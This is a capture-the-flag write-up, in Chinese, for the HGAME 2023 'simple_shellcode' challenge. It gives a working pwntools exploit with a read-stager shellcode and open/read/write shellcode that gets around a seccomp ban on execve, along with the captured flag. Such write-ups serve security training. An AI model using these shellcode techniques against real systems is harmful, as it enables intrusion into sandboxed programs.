3488.[HGAME 2023 week1]simple_shellcode 手寫read函數shellcode和orw
[HGAME 2023 week1]simple_shellcode
(1)
motaly@motaly-VMware-Virtual-Platform:~/桌面$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dba017c2b49353902d2f73017e362972705ab2cf, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 75 Symbols No 0 1 vuln
(2)
用ida打開,按下F5(如果不行,看看有沒有Fn鍵,Fn+F5)
int __fastcall main(int argc, const char **argv, const char **envp)
{__int64 v3; // rdx__int64 v4; // rcx__int64 v5; // r8__int64 v6; // r9init(argc, argv, envp);mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);puts("Please input your shellcode:");read(0, (void *)0xCAFE0000LL, 0x10uLL);sandbox(0LL, 3405643776LL, v3, v4, v5, v6);MEMORY[0xCAFE0000]();return 0;
}
發現有個mmap函數(在指定地址映射一塊內存區域)是可讀可寫可執行的
然后有一個read函數,限制讀取長度只有16(0x10)
下面涉及到沙盒
(3)
查看一下限制
motaly@motaly-VMware-Virtual-Platform:~/桌面$ seccomp-tools dump ./vuln
Please input your shellcode:
aaaaline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000000 A = sys_number0001: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 00040002: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 00040003: 0x06 0x00 0x00 0x7fff0000 return ALLOW0004: 0x06 0x00 0x00 0x00000000 return KILL
發現他把execve和execveat禁用了,所以用orw方法(這題的類型也是orw)
(4)
思路:
這里限制了一開始輸入的shellcode長度,所以我們可以先手寫一個read函數的shellcode,再寫入orw的shellcode
1.先手寫一個read函數的shellcode,并發送
(read函數有三個參數,分別對應rdi,rsi,rdx三個參數)
程序運行到最后rdx的值是內存空間的開始地址,所以我們把rdx賦值給rsi,作為read的第二個參數
2.然后構造第二條ROP鏈,主要是實現orw功能(打開flag文件,讀取flag內容,寫入到標準輸出,最后flag值會在終端中顯示),轉換后發送
(這里要考慮前面手寫shellcode的長度,生成對應長度的nop值后再發送orw的shellcode)
編寫
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn', 26356)
# io = process('/home/motaly/桌面/vuln')
read=('''mov rsi, rdx mov rdx, 0x100 xor rdi, rdi syscall
''')
shellcode=asm(read)
io.send(shellcode)
addr=0xcafe0000+0x200
orw= shellcraft.open("./flag")+shellcraft.read(3, addr, 0x100)+shellcraft.write(1, addr, 0x100)
payload=b"\x90"*len(shellcode)+asm(orw)
io.send(payload)
io.interactive()
(4)
連接得到flag
[*] Switching to interactive mode
[DEBUG] Received 0x1d bytes:b'Please input your shellcode:\n'
Please input your shellcode:
[DEBUG] Received 0x100 bytes:00000000 4e 53 53 43 54 46 7b 39 30 65 65 37 64 38 62 2d │NSSC│TF{9│0ee7│d8b-│00000010 39 34 37 34 2d 34 32 36 38 2d 62 37 34 37 2d 61 │9474│-426│8-b7│47-a│00000020 30 37 61 30 38 36 38 34 35 34 36 7d 0a 00 00 00 │07a0│8684│546}│····│00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│*00000100
NSSCTF{90ee7d8b-9474-4268-b747-a07a08684546}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive